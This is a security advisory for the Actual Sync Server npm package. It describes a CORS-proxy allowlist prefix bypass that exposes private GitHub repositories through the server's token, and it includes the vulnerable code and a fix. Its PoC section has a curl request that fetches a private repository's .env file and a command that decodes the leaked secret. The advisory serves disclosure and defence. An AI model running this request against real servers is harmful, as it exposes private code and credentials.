GHSA-m62c-5q34-f3cf
Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | @actual-app/sync-server | < 26.7.0 | 26.7.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
Actual Sync Server's CORS proxy is intended to let authenticated users fetch resources only from repositories listed in the official plugin allowlist. When `ACTUAL_GITHUB_TOKEN` is configured, the proxy automatically attaches the server's GitHub token to GitHub requests.
The GitHub API allowlist check uses a raw `startsWith()` prefix test for `/repos/{owner}/{repo}` without requiring a path boundary after the repository name. If an allowlisted public plugin repository is `https://github.com/acme/plugin`, the proxy also accepts GitHub API URLs such as:
```text
https://api.github.com/repos/acme/plugin-private/contents/.env
https://api.github.com/repos/acme/plugin-secrets/actions/secrets
https://api.github.com/repos/acme/plugin-internal/releases
```
Those URLs are outside the allowlisted repository but still pass because their API path starts with `/repos/acme/plugin`. The proxy then forwards the request with the server's `ACTUAL_GITHUB_TOKEN`, allowing any authenticated Actual user to read private GitHub resources reachable by that token.
## Affected Endpoint
- `GET /cors-proxy?url=...`
This endpoint is mounted only when:
```js
if (config.get('corsProxy.enabled')) {
app.use('/cors-proxy', corsApp.handlers);
}
```
Source: `packages/sync-server/src/app.ts:68-70`
## Details
The CORS proxy is disabled by default but can be enabled through `ACTUAL_CORS_PROXY_ENABLED`. The GitHub token is configured through `ACTUAL_GITHUB_TOKEN`:
```js
github: {
token: {
doc: 'GitHub Personal Access Token for API authentication.',
format: String,
default: '',
env: 'ACTUAL_GITHUB_TOKEN',
},
},
corsProxy: {
enabled: {
doc: 'Enable the CORS proxy endpoint.',
format: Boolean,
default: false,
env: 'ACTUAL_CORS_PROXY_ENABLED',
},
},
```
Source: `packages/sync-server/src/load-config.js:280-296`
The proxy fetches the plugin allowlist and stores repository URLs:
```js
const response = await fetch(
'https://raw.githubusercontent.com/actualbudget/plugin-store/refs/heads/main/plugins.json',
);
...
const plugins = await response.json();
allowlistedRepos = plugins.map(plugin => plugin.url);
```
Source: `packages/sync-server/src/app-cors-proxy.js:43-50`
The GitHub API check accepts any path that starts with `/repos/${repoOwner}/${repoName}`:
```js
for (const repoUrl of allowlistedRepos) {
const { pathname } = new URL(repoUrl);
const [, repoOwner, repoName] = pathname.split('/');
if (
targetUrl === repoUrl ||
targetUrl.startsWith(repoUrl + '/') ||
(hostname === 'api.github.com' &&
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)) ||
...
) {
return true;
}
}
```
Source: `packages/sync-server/src/app-cors-proxy.js:84-99`
For `api.github.com`, there is no delimiter after `repoName`. This means an allowlisted repo named `plugin` authorizes API requests for `plugin-private`, `plugin-secrets`, `plugin-internal`, and any other repository under the same owner whose name starts with `plugin`.
After this incorrect allowlist decision, the proxy attaches the server's GitHub token:
```js
const githubToken = config.get('github.token');
if (
githubToken &&
(url.hostname === 'api.github.com' ||
url.hostname === 'raw.githubusercontent.com' ||
(url.hostname === 'github.com' && url.pathname.includes('/releases/')))
) {
requestHeaders['Authorization'] = `Bearer ${githubToken}`;
requestHeaders['User-Agent'] = 'Actual-Budget-Plugin-System';
}
```
Source: `packages/sync-server/src/app-cors-proxy.js:192-201`
Therefore the vulnerable flow is:
1. A public plugin repository is allowlisted, for example `https://github.com/acme/plugin`.
2. The same owner has a private repository with a prefix-matching name, for example `acme/plugin-private`.
3. The Actual server has `ACTUAL_CORS_PROXY_ENABLED=true`.
4. The Actual server has `ACTUAL_GITHUB_TOKEN` with access to `acme/plugin-private`.
5. Any authenticated Actual user calls:
```text
/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env
```
6. `isUrlAllowed()` returns true because `/repos/acme/plugin-private/...` starts with `/repos/acme/plugin`.
7. The proxy sends the request to GitHub with the server token.
8. The response is returned to the low-privileged Actual user.
## PoC
### Preconditions
1. `ACTUAL_CORS_PROXY_ENABLED=true`.
2. `ACTUAL_GITHUB_TOKEN` is configured and can read a private repo.
3. The official plugin allowlist contains a public repo whose owner and repo name are a prefix of the private target repo.
4. The attacker has any valid Actual session token.
Example:
- Allowlisted public repo: `https://github.com/acme/plugin`
- Private target repo: `https://github.com/acme/plugin-private`
- Private file: `.env`
### Manual Reproduction
Step 1: Request a private repo file through the Actual CORS proxy:
```bash
curl -s "http://TARGET_HOST:5006/cors-proxy?url=https://api.github.com/repos/acme/plugin-private/contents/.env" \
-H "X-Actual-Token: LOW_PRIVILEGED_ACTUAL_SESSION"
```
Vulnerable result:
```json
{
"name": ".env",
"path": ".env",
"encoding": "base64",
"content": "UFJPRF9EQl9QQVNTV09SRD0uLi4="
}
```
Step 2: Decode the returned `content` field:
```bash
echo "UFJPRF9EQl9QQVNTV09SRD0uLi4=" | base64 -d
```
Example decoded output:
```text
PROD_DB_PASSWORD=...
```
### Python PoC
Attached separately as `poc_actual_cors_proxy_github_prefix_bypass.py`.
The PoC does not need the GitHub token. It uses the target Actual server as the oracle: if the server token can access the prefix-matched private repository, GitHub's API response is returned to the low-privileged Actual user.
## Impact
- Any authenticated Actual user can use the server's GitHub token against prefix-matched repositories outside the plugin allowlist.
- Private source code, repository metadata, release data, deployment files, and accidentally committed secrets can be exposed.
- If the token has broad organization or user repository read permissions, a public allowlisted plugin repo can become a stepping stone to multiple private repos sharing the same name prefix.
- Exposed repository secrets or deployment material may enable follow-on compromise of production infrastructure or supply-chain release assets.
## Recommended Remediation
- Parse and compare GitHub API repository path segments exactly.
- Replace:
```js
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}`)
```
with an exact boundary-aware check:
```js
url.pathname === `/repos/${repoOwner}/${repoName}` ||
url.pathname.startsWith(`/repos/${repoOwner}/${repoName}/`)
```
- Apply the same boundary discipline to every allowlist branch.
- Add regression tests showing that an allowlisted `owner/plugin` does not authorize `owner/plugin-private`.
- Consider never attaching `ACTUAL_GITHUB_TOKEN` for user-driven proxy requests unless the requested repo exactly matches an allowlisted repository.
References
External links from the advisory. They lead to third-party sites.